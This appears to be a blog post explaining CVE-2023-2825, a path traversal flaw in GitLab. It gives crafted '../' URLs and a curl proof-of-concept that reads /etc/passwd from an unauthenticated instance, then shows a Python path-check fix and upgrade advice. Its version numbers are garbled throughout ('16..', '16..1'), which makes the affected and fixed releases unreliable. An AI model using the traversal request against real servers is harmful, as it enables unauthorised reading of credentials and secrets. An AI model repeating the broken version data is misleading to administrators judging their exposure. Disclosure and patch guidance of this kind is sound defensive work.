CVE-2023-2825 - Critical Path Traversal in GitLab CE/EE 16..—How Attackers Can Read Any Server File

In early 2023, a severe vulnerability was uncovered in GitLab Community Edition (CE) and Enterprise Edition (EE)—specifically version 16... Catalogued as CVE-2023-2825, this path traversal bug allows unauthenticated attackers to read arbitrary files from the server. If you run GitLab 16.. and your instance contains public projects deeply nested within groups, this post is essential reading.

Let’s break down what’s at risk, how the exploit works, and how you can defend your server.

What is CVE-2023-2825?

CVE-2023-2825 is a critical vulnerability affecting only GitLab CE/EE 16... The bug allows an attacker with no authentication (no login) to read any file accessible by the GitLab server user—think /etc/passwd, secrets, config, environment files, and more.

The vulnerable project must be public.

- The project must be nested within at least five groups (e.g., top-group/subgroup1/subgroup2/subgroup3/subgroup4/project).

Why is This So Serious?

With this bug, a stranger on the internet can poke around and grab files straight off your machine, gaining knowledge about how your server runs, potentially picking up passwords, keys, and setting the stage for deeper attacks!

How the Exploit Works

This is a classic path traversal vulnerability. In simple terms: GitLab failed to properly sanitize the file path when serving public attachments in deeply nested projects. This allowed attackers to use ../ sequences (“go up one directory”) to break out of the project’s folder and access anything readable by GitLab.

Anatomy of the Exploit

If a file is stored inside a public project nested deeply within groups, GitLab tries to serve the file via a URL like this:

https://gitlab.example.com/uploads/-/system/user/project/attachment/UUID/FILENAME

But if the attacker crafts a malicious request like this

https://gitlab.example.com/uploads/-/system/user/project/attachment/../../../../../../etc/passwd

The improperly validated path lets them escape the intended directory (uploads/...) to, say, /etc/passwd (the famous file listing user accounts in Unix/Linux).

Only projects nested within at least five groups are open to this attack due to the underlying path-building logic.

Let’s say you’ve set up GitLab public projects as follows

Group nesting:  

/topgroup/subgroup1/subgroup2/subgroup3/subgroup4/mypublicproject/

Attachment is uploaded to an issue.

The file can be accessed via

https://gitlab.example.com/uploads/-/system/topgroup/subgroup1/subgroup2/subgroup3/subgroup4/mypublicproject/attachment/UUID/myfile.txt

Attack scenario:
Replace attachment/UUID/myfile.txt with attachment/../../../../../../etc/passwd

Final crafted URL

https://gitlab.example.com/uploads/-/system/topgroup/subgroup1/subgroup2/subgroup3/subgroup4/mypublicproject/attachment/../../../../../../etc/passwd

Result:
The server may respond with the content of /etc/passwd!

Proof of Concept: Curl Command

curl "https://gitlab.example.com/uploads/-/system/topgroup/subgroup1/subgroup2/subgroup3/subgroup4/mypublicproject/attachment/../../../../../../etc/passwd"

If vulnerable (and /etc/passwd is readable), you’ll see a listing of user accounts.

Original Advisory:

- GitLab CVE-2023-2825 Security Advisory

Code Snippet - Understanding the Fix

While the full fix is deep in the GitLab codebase, the key was to sanitize and normalize the file path before serving it, blocking any ../ (“dot-dot-slash”) sequences.

A simplified Python example demonstrating path traversal protection

import os

def secure_serve(base_dir, file_path):
    # Normalize and join base directory with requested file path
    full_path = os.path.abspath(os.path.join(base_dir, file_path))
    # Ensure the requested file is still within the base directory
    if not full_path.startswith(os.path.abspath(base_dir)):
        raise Exception("Path traversal detected!")
    with open(full_path, "rb") as f:
        return f.read()

GitLab implemented similar checks in their Ruby on Rails and Go codebases.

If you run GitLab 16.., upgrade immediately to 16..1 or later!

- Upgrade Guide

GitLab Security Release Advisory:

about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16--1-released/

NVD CVE Report:

nvd.nist.gov/vuln/detail/CVE-2023-2825

Exploit Proof-of-Concept:

Horizon3.ai Blog (contains more technical details and scripts)

Final Thoughts

This vulnerability is a stark reminder: Security is only as strong as your weakest code path. GitLab’s ecosystem is a juicy target, and even a small oversight can give attackers the keys to the kingdom. Keep your software up to date, monitor your projects, and always be on the lookout for the next CVE.

If you manage GitLab, take action now—and stay vigilant!

Timeline

Published on: 05/26/2023 21:15:00 UTC
Last modified on: 05/29/2023 03:52:00 UTC